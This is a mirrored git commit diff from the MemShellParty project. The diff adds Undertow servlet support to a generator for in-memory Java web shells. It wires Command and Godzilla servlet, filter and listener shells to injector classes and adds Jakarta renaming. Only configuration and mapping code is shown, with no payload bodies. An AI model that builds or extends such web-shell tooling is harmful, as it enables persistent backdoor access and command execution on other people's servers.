mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
feat: support undertow servlet (#2)
This commit is contained in:
@@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.buddy.ByPassJavaModuleInterceptor;
|
||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.config.InjectorConfig;
|
||||
import com.reajason.javaweb.config.ShellConfig;
|
||||
@@ -47,6 +48,10 @@ public class InjectorGenerator {
|
||||
builder = ByPassJavaModuleInterceptor.extend(builder);
|
||||
}
|
||||
|
||||
if(config.isJakarta()){
|
||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||
}
|
||||
|
||||
if (config.isDebugOff()) {
|
||||
builder = LogRemoveMethodVisitor.extend(builder);
|
||||
}
|
||||
|
||||
@@ -3,11 +3,14 @@ package com.reajason.javaweb.memshell;
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
|
||||
import com.reajason.javaweb.memshell.undertow.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.undertow.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.undertow.injector.UndertowFilterInjector;
|
||||
import com.reajason.javaweb.memshell.undertow.injector.UndertowListenerInjector;
|
||||
import com.reajason.javaweb.memshell.undertow.injector.UndertowServletInjector;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.List;
|
||||
@@ -26,16 +29,24 @@ public class UndertowShell extends AbstractShell {
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
||||
return Map.of(
|
||||
Constants.SERVLET, Pair.of(CommandServlet.class, UndertowServletInjector.class),
|
||||
Constants.JAKARTA_SERVLET, Pair.of(CommandServlet.class, UndertowServletInjector.class),
|
||||
Constants.FILTER, Pair.of(CommandFilter.class, UndertowFilterInjector.class),
|
||||
Constants.LISTENER, Pair.of(CommandListener.class, UndertowListenerInjector.class)
|
||||
Constants.JAKARTA_FILTER, Pair.of(CommandFilter.class, UndertowFilterInjector.class),
|
||||
Constants.LISTENER, Pair.of(CommandListener.class, UndertowListenerInjector.class),
|
||||
Constants.JAKARTA_LISTENER, Pair.of(CommandListener.class, UndertowListenerInjector.class)
|
||||
);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
||||
return Map.of(
|
||||
Constants.SERVLET, Pair.of(GodzillaServlet.class, UndertowServletInjector.class),
|
||||
Constants.JAKARTA_SERVLET, Pair.of(GodzillaServlet.class, UndertowServletInjector.class),
|
||||
Constants.FILTER, Pair.of(GodzillaFilter.class, UndertowFilterInjector.class),
|
||||
Constants.LISTENER, Pair.of(GodzillaListener.class, UndertowListenerInjector.class)
|
||||
Constants.JAKARTA_FILTER, Pair.of(GodzillaFilter.class, UndertowFilterInjector.class),
|
||||
Constants.LISTENER, Pair.of(GodzillaListener.class, UndertowListenerInjector.class),
|
||||
Constants.JAKARTA_LISTENER, Pair.of(GodzillaListener.class, UndertowListenerInjector.class)
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user